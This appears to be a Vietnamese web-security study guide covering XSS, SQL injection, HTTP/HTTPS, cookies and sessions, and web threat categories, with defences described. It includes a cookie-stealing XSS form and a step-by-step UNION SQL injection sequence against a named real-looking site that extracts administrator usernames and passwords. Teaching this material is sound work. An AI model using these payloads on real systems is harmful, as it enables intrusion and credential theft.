Câu 1:Nêu kiến thức căn bản về tấn công XSS.Nêu 1 ví dụ đơn giản. Đề xuấtphương án phòng chống.XSS: Cross Site Scripting – kịch bản liên trang, là một trong kĩ thuật tấncông phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mậtquan trọng đối với các nhà phát triển web và cả những người sử dụng web.XSS được biết đến lần đầu năm 2002. Bất kì một website nào cho phépngười sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguyhiểm thì đều tiềm ẩn các lỗi XSSXSS là một kỹ thuật tấn công bằng cách chèn vào các website động (ASP,PHP, …) những thẻ HTML hay những đoạn mã nguy hiểm có thể gây nguy hạicho những người sử dụng khác. Những đoạn mã nguy hiểm thường được viết bằngClient site script như javaScript, JscriptPhân loại:Stored XSS: là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chènmột đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thôngqua một chức năng nào đó (vd: viết lời bình, guestbook, gửi bài..), để từ đó khi cácthành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độcnày thường được lưu lại trong database của website chúng ta nên gọi là Stored.Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gửi lên một cáchđúng đắn, khiến cho mã độc được lưu vào Database của website. Truy vấn để đượclưu lâu dài trên server.Reflected XSS: được thực hiện và có hiệu lực trong một cặp truy vấn và phản hồi HTTP; Là dạng tấn công không có trạng thái, tức là kết quả truy vấn tiếp theo sẽ không phụ thuộc vào các truy vấn trước đó. Kịch bản của tấn công này thường yêu cầu nạn nhân phải nhấn chuột vào một đường liên kết được chuẩn bị trước bởi kẻ tấn công.Hiểm hoạ tấn công XSS:+ Đánh cắp cookies+ Tấn công lừa đảo+ Sử dụng trình duyệt như là công cụ quét cổng trong mạng LAN+ ....Cách phòng chốngPhát hiện và vô hiệu hóa các đoạn mã độc.Chỉ chấp nhận những dữ liệu hợp lệ.Từ chối nhận các dữ liệu hỏng.Liên tục kiểm tra và thanh lọc dữ liệuTạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ hoặc đóng các thẻ Script trong thẻ coi đoạn Script đó như là một đoạn trích dẫn thôi.Lọc ra bất kì một đoạn mã JavaScriptJavaVBScriptActiveX
Trang 1Câu 1:Nêu kiến thức căn bản về tấn công XSS.Nêu 1 ví dụ đơn giản Đề xuất phương án phòng chống.
- XSS: Cross Site Scripting – kịch bản liên trang, là một trong kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web
- XSS được biết đến lần đầu năm 2002 Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều tiềm ẩn các lỗi XSS
- XSS là một kỹ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, …) những thẻ HTML hay những đoạn mã nguy hiểm có thể gây nguy hại cho những người sử dụng khác Những đoạn mã nguy hiểm thường được viết bằng Client site script như javaScript, Jscript
Phân loại:
- Stored XSS: là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gửi bài ), để từ đó khi các thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này thường được lưu lại trong database của website chúng ta nên gọi là Stored Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gửi lên một cách đúng đắn, khiến cho mã độc được lưu vào Database của website Truy vấn để được lưu lâu dài trên server
- Reflected XSS: được thực hiện và có hiệu lực trong một cặp truy vấn và phản hồi HTTP; Là dạng tấn công không có trạng thái, tức là kết quả truy vấn tiếp theo sẽ không phụ thuộc vào các truy vấn trước đó Kịch bản của tấn công này thường yêu cầu nạn nhân phải nhấn chuột vào một đường liên kết được chuẩn bị trước bởi kẻ tấn công
Trang 2Hiểm hoạ tấn công XSS:
+ Đánh cắp cookies
+ Tấn công lừa đảo
+ Sử dụng trình duyệt như là công cụ quét cổng trong mạng LAN
+
- Cách phòng chống
- Phát hiện và vô hiệu hóa các đoạn mã độc
- Chỉ chấp nhận những dữ liệu hợp lệ
- Từ chối nhận các dữ liệu hỏng
- Liên tục kiểm tra và thanh lọc dữ liệu
- Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ <script> hoặc đóng các thẻ Script trong thẻ <comment> coi đoạn Script đó như là một đoạn trích dẫn thôi
- Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related
- Lọc dấu nháy đơn hay kép
- Lọc ký tự Null
- Xóa những kí tự “ > ”, “ < ”
- Ngoài ra, tấn công XSS có thể phòng tránh được nhờ vào công tác kiểm thử
và kiểm duyệt mã nguồn
Ví dụ:
Khi người dùng đưa con trỏ qua ảnh, thì cookie trên trình duyệt web của người dùng sẽ được gửi về getcookie.php
<form action="getcookie.php" method="POST" name="XSS">
<input type="hidden" name="cookie" value="">
Trang 3<img src="image.jpg " onmouseover="window.document.XSS.cookie.value
= document.cookie; window.document.XSS.submit();">
</form>
Câu 2 Hãy trình bày một số kỹ thuật sử dụng trong phương pháp SQL
injection Nêu một số phương pháp phòng chống.
- Kỹ thuật khai thác dữ liệu thông qua toán tử Union
Toán tử Union là toán tử cho phép ghép nối kết quả của hai hay nhiều truy vấn
sử dụng toán tử Select với nhau
Select column1,column2,…,column from table1 UNION
Select column1,column2,…,column from table2
Khai thác thông tin thông qua việc sử dụng UNION là một trong 2 nhánh chính của việc khai thác dữ liệu thông qua lỗi SQL Injection Các điểm yếu SQL Injection có thể khai thác được thông qua Union là dạng điểm yếu mà thông tin trả
về có thể được hiển thị trực tiếp trên thông điệp phản hồi
Toán tử union sẽ thực hiện ghép dữ liệu của truy vấn gốc và truy vấn khai thác Điều kiện là hai truy vấn này phải trả về cùng số cột, và các cột này có cùng kiểu dữ liệu
Kỹ thuật này được thực hiện như sau:
- Tìm số cột trong truy vấn gốc
- Tìm cột yếu để khai thác thông tin
- Xác định tên CSDL, phiên bản, người dùng
- Tìm tên các bảng trong CSDL đó
- Tìm bản ghi trong CSDL
- Kỹ thuật khai thác thông qua các câu lệnh điều kiện
Trang 4Ý tưởng: Khiến cho DBMS trả về những trạng thái khác nhau phụ thuộc vào
từng điều kiện được đưa ra.Mỗi truy vấn dựa vào điều kiện sẽ có dạng như một câu lệnh điều kiện trên các ngôn ngữ lập trình thông thường, tức là có dạng:
IF điều_kiện THEN chuỗi_xử_lý_đúng ELSE chuỗi_xử_lý_sai
Có một vài mô hình đã được nghiên cứu và được sử dụng để phân biệt kết
quả trong hai trường hợp như:
- Mô hình dựa trên nội dung phản hồi: dựa trên khác biệt về nội dung phản hổi
của một trường hợp được dùng làm chuẩn so với một trường hợp thăm dò nào đó tương đồng để tìm ra thông tin cần tìm
- Mô hình dựa trên độ trễ phản hồi:Dựa trên khác biệt về thời gian nhận được phản hồi từ DBMS Sử dụng các hàm như WAITFOR DELAY hoặc SLEEP để kiểm tra
- Kỹ thuật khai thác dữ liệu với Blind SQL Injection
Điều kiện:Các thông tin khai thác được không được trình bày trực tiếp trên
nội dung phản hồi từ DBMS
Blind SQL Injection dựa vào việc sử dụng các mệnh đề điều kiện để thực hiện suy luận thông tin cần khai thác.Cụ thể sd các thông tin khai thác làm mệnh
đề điều kiện và sử dụng các phương pháp khác nhau để đánh dấu trường hợp đúng/ sai của mệnh đề đó
- Kỹ thuật vượt qua các bộ lọc tham số đầu vào
Hiện nay các nhà phát triển ứng dụng web đã áp dụng nhiều biện pháp tấn công bằng cách: xây dựng các bộ lọc nhiều cấp, các tường lửa web,các hệ thống ngăn chặn xâm nhập… Tuy vậy đã có nhiều bộ lọc bị vượt qua.Một số cách hacker thực hiện như:
- Lợi dụng sự khác nhau giữa ký tự in thường và in hoa
Trang 5- Sử dụng SQL comment thay thế dấu cách.
- Sử dụng URL encoding
- Sử dụng các phép biến đổi sâu ký tự
- Sử dụng các byte NULL
Cách phòng chống
- Ở mức xây dựng ứng dụng
Việc đảm bảo an toàn thông tin cho hệ thống luôn được triển khai theo nguyên tắc phòng thủ theo chiều sâu Bắt đầu từ việc đảm bảo an toàn khi viết mã
nguồn, cấu hình an toàn cho máy chủ CSDL, DBMS, triển khai các công cụ tường lửa
Điểm yếu của SQL Injection bắt đầu từ sử lý dữ liệu người dùng không tốt
Có một số nguyên tắc cần tuân thủ khi xây dựng ứng dụng web:
- Làm sạch dữ liệu đầu vào: Lọc dữ liệu đầu vào sử dụng hai mô hình
Mô hình danh sách cho phép- whitelist:liệt kê danh sách dữ liệu đầu vào hợp lệ
Mô hình danh sách cấm-blacklist: mô hình xây dựng lên các mẫu đầu vào được cho là nguy hiểm và không chấp nhận các mẫu này(%, ,\*,*/,_,[,@ )
- Xây dựng truy vấn cho mô hình tham số hóa: là mô hình xây dựng truy vấn
có thể sử dụng để thay thế mô hình truy vấn động Với mục đích xây dựng một lần, dùng nhiều lần( mỗi lần chỉ cần thay đổi tham số, tham số truyền vào lúc thực thi)
Mô hình tham số hiện tại chỉ thực hiện trên các câu lệnh DML(select, insert,
replace, update), create table còn các câu lệnh khác thì chưa được hỗ trợ
- Chuẩn hóa dữ liệu: Mã hóa dữ liệu đầu vào dưới định dạng nào rồi gửi cho ứng dụng mà sau đó dữ liệu đó có thể được giải mã theo định dạng mà kẻ tấn công mong muốn
Trang 6- Ở mức nền tảng hệ thống
Sử dụng cơ chế lọc bổ sung như: Sử dụng tường lửa Web, sử dụng hệ thống pháp hiện và ngăn chặn xâm nhập, sd tường lửa CSDL…Tăng cường cập nhật bản
vá, hạn chế tối đa quyền người dùng, sử dụng mật mã để bảo vệ dữ liệu…
Câu 3 Hãy trình bày phương pháp tấn công XSS.Ví dụ Nêu một số phương pháp phòng chống.
Xét từ phía kẻ tấn công, quá trình thực hiện tấn công XSS sẽ trải qua các bước cơ bản như sau:
B1:Mở website mục tiêu và xác định các vị trí có thể nhập dữ liệu
B2:Xác định khả năng website mục tiêu có chứa lỗi XSS
B3:Chèn mã vào vị trí có khả năng chứa lỗi
B4: Khai thác
XSS được chia ra thành 2 loại:
- Stored XSS: (lý thuyết câu 1)
Trang 7- Reflected XSS(lý thuyết câu 1)
Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những
cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ
đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website
Trang 8Cách phòng chống ở câu 1;
Câu 4 Trình bày kiến thức căn bản về phương pháp tấn công SQL Injection Ví
dụ về kỹ thuật tấn công sử dụng toán tử Union.
SQL Injection là một kĩ thuật cho phép những kẻ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp (người phát triển không lường trước được) bằng cách lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập từ các ứng dụng web
Hậu quả này rất tai hại vì nó cho phép kẻ tấn công có toàn quyền, hiệu
chỉnh…
SQL Injection có thể cho phép những kẻ tấn công thực hiện các thao tác như delete, insert, update…trên CSDL của ứng dụng, thậm chí là của server mà ứng dụng đó đang chạy Lỗi SQL Injection thường sảy ra trên các ứng dụng web có dlieu được quản lý bằng DBMS như sql server, my Sql, DB2…
- Một số phương pháp (kỹ thuật) tấn công SQL Injection
+ Kỹ thuật khai thác dữ liệu thông qua toán tử UNION
Trang 9+ Kỹ thuật khai thác thông qua các câu lệnh điều kiện + Kỹ thuật khai thác dữ liệu với Blind SQL Injection + Kỹ thuật vượt qua các bộ lọc tham số đầu vào
- Ví dụ tấn công SQL Injection sử dụng toán tử UNION:
http://www.etron.com/en/products/u3hc_detial.php?Product_ID=1’
http://www.etron.com/en/products/u3hc_detial.php?Product_ID=1 union all select 1,2,3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19, 20
http://www.etron.com/en/products/u3hc_detial.php?Product_ID=1 union all select 1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19, 20 from
information_schema.tables limit 20,1
http://www.etron.com/en/products/u3hc_detial.php?Product_ID=1 union all select 1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12,13,14,15,16,17,18,19, 20 from information_schema.tables where table_schema=database()
http://www.etron.com/en/products/u3hc_detial.php?Product_ID=1 union all select 1,2,3,4,5,6,7,group_concat(column_name),9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name=0x6d616e61676572
Trang 10Product_ID=1%20union all select
1,2,3,4,5,6,7,group_concat(UserName,0x7c,Password),9,10,11,12,13,14,15,16,17,18, 19,20 from manager
(Các em chú ý phải giải thích rõ từng bước, ví dụ như: dòng đầu tiên mình thêm dấu nháy vào sau 1, nếu hệ thống báo lỗi thì ta mới thực hiện tiếp bước sau; Dòng 2: đi tìm số cột của mệnh đề select phía trước toán tử UNION cho đến khi không còn báo lỗi khác số cột, Các em phải diễn đạt và trình bày tuần tự từng bước.)
Câu 5 Anh chị nêu sự khác biệt căn bản giữa HTTP & HTTPS.Nêu một số phương thức http thông dụng, phân biệt phương thức get, post.
HTTP (HyperText Transfer Protocol)- giao thức truyền tải siêu văn bản Là giao thức cơ bản và chính yếu để web client và web server giao tiếp với nhau.Nó là
1 giao thức tầng ứng dụng trong bộ giao thức TCP/IP.Hoạt động theo mô hình dựa trên thông điệp( message-based model),là giao thức không trạng thái(không có cơ chế ghi nhớ kết quả của các truy vấn trước, khi thực hiện các truy vấn sau.)
HTTPS là viết tắt của “Hypertext Transfer Protocol Secure” Khi sử dụng giao thức HTTPS các truy vấn HTTP và phản hồi HTTP hoàn toàn không có gì thay đổi, chỉ có một sự thay đổi ở tầng bên dưới, đó là dữ liệu được truyền tải bằng giao thức SSL
Khi sử dụng giao thức http, dữ liệu được truyền đi dưới dạng bản rõ Còn đối với https dữ liệu được truyền tải ở dạng chuỗi mã hóa thông qua giao thức giao vận an toàn TLS/SSL(Transport Layer Security/Security Socket Layer)
- Một số phương thức HTTP thông dụng:
Giao thức HTTP quy định nhiều phương thức truy vấn khác nhau Phổ biến
nhất là GET và POST Ngoài ra, còn có HEAD,TRACE,OPTIONS,PUT
Trang 11- Phân biệt GET, POST
GET: được sử dụng để yêu cầu tài nguyên Dữ liệu được gửi tường minh, tham số nếu có được ghi trong URL truy vấn Các URL có thể bị đánh dấu để dùng lại, được lưu trong lịch sử duyệt web, có thể được gửi tới các server bên ngoài
POST: được sử dụng để thực hiện các hành động Các tham số có thể được truyền qua URL và cả qua thân truy vấn Các tham số được truyền trong thân truy vấn sẽ không bị lưu lại trong các ký hiệu đánh dấu, trong lịch sử duyệt web và không bị thể hiện trong tiêu đề referer
=> Phương thức POST cần dùng thay cho GET khi cần gửi những thông tin
nhạy cảm đến Web Server
Câu 6.Nêu khái niệm và chức năng của cookie và session.
1 Cookie
Cookie: là một phần thiết yếu của giao thức HTTP và được sử dụng bởi đa
số phần ứng dụng web
Cookie là cơ chế để web server gửi các dữ liệu khác nhau tới web client; web client lưu trữ giá trị này và sau đó tự động đệ trình trở lại web server mỗi khi thực hiện truy vấn
Web server thiết lập giá trị cookie thông qua tiêu đề: Set-Cookie trong phản hồi HTTP Cookie bao gồm nhiều cặp name=“value” , mỗi cặp cách nhau bởi dấu chấm phẩy “;” hoặc được viết trên nhiều dòng
Web client đệ trình cookie thông qua tiêu đề Cookie Tất cả các cặp
“name=value” được đệ trình trong cùng một dòng và được phân tách bởi dấu chấm phẩy “;”
Một số thuộc tính quy định việc sử dụng cookie trên web client: Expires, Domain, Secure, HttpOnly, Path,
2 Session
Trang 12- Không phải là thành phần của giao thức HTTP
- Session là cách đơn giản để lưu trữ một biến và khiến biến đó có thể được sử dụng khi người dùng duyệt từ webpage này sang webpage khác
- Session được tạo ra và tồn tại trên server, được sử dụng xuyên suốt từ truy vấn này sang truy vấn khác, chỉ mất đi khi có yêu cầu xoá nó hoặc hết thời hạn có hiệu lực
- Session không phải là 1 biến mà là một tập hợp có thể mở rộng của các biến được lưu trong 1 file với tên ngẫu nhiên
- Mỗi session được xá định bởi 1 định danh gọi là Session ID
Câu 7 Nêu một số hiểm họa an toàn web.Nêu 2 ví dụ về hiểm họa an toàn web
mà đã gặp trong quá trình xd uwd web an toàn …
1 Nhóm hiểm họa xác thực
Đó là những tấn công lên các phương pháp xác thực mà ứng dụng web sử
dụng để xác thực người dùng, dịch vụ hay ứng dụng khác.Trong trường hợp ứng dụng web, việc xác thực người dùng thường được thực hiện bằng mật khẩu Khi
đó, có những hiểm họa an toàn như sau:
-Hiểm họa dò mật khẩu
- Hiểm hoạ sử dụng lược đồ xác thực không đủ mạnh
- Hiểm hoạ khôi phục mật khẩu không an toàn
2 Nhóm hiểm họa trao quyền
Đó là những tấn công lên các phương pháp được web server sử dụng để xác
định xem người dùng có được trao quyền thực hiện một hành động nào đó hay không Các hiểm họa an toàn thông tin liên quan đến cơ chế trao quyền gồm:
- Hiểm họa bị đoán biết định danh phiên làm việc
- Hiểm hoạ sử dụng cơ chế phân quyền không an toàn
- Hiểm hoạ không giới hạn thời gian có hiệu lực của phiên làm việc
Trang 13- Hiểm hoạ gán ghép định danh phiên làm việc
3 Nhóm hiểm họa tấn công lên máy khách
Những tấn công này chỉ tác động lên máy của người dùng web Máy chủ không thiệt hại gì trong trường hợp này Khi người dùng duyệt một website anh ta thường không nghĩ đến việc bị tấn công bởi chính website đó Lợi dụng lòng tin này kẻ ác
ý có thể sử dụng những phương pháp khác nhau để tấn công lên máy người dùng
- Hiểm hoạ thực thi kịch bản liên trang
- Hiểm hoạ giả mạo nội dung
- Hiểm hoạ phân tách phản hồi HTTP
4 Nhóm hiểm họa thực thi câu lệnh
Đây là những tấn công khác nhau nhằm thực thi câu lệnh trên web server Nếu web server không có cơ chế an toàn đủ mạnh thì kẻ tấn công có thể làm thay đổi những câu lệnh như thế nhằm đạt được những mục đích nhất định
- Hiểm họa tràn bộ đệm
- Hiểm họa tấn công lên chuỗi định dạng
- Hiểm họa chèn câu lệnh LDAP
- Hiểm họa thực thi câu lệnh hệ điều hành
- Hiểm họa chèn câu lệnh SQL
- Hiểm họa chèn mã kịch bản phía máy chủ
- Hiểm họa chèn câu lệnh Xpath
5 Nhóm hiểm họa làm lộ thông tin
Các tấn công thuộc nhóm này được thực hiện nhằm mục đích thu thập thông tin
về ứng dụng web
- Hiểm họa duyệt thư mục
- Hiểm hoạ định danh các ứng dụng
- Hiểm hoạ rò rỉ thông tin
- Hiểm hoạ đường dẫn ngược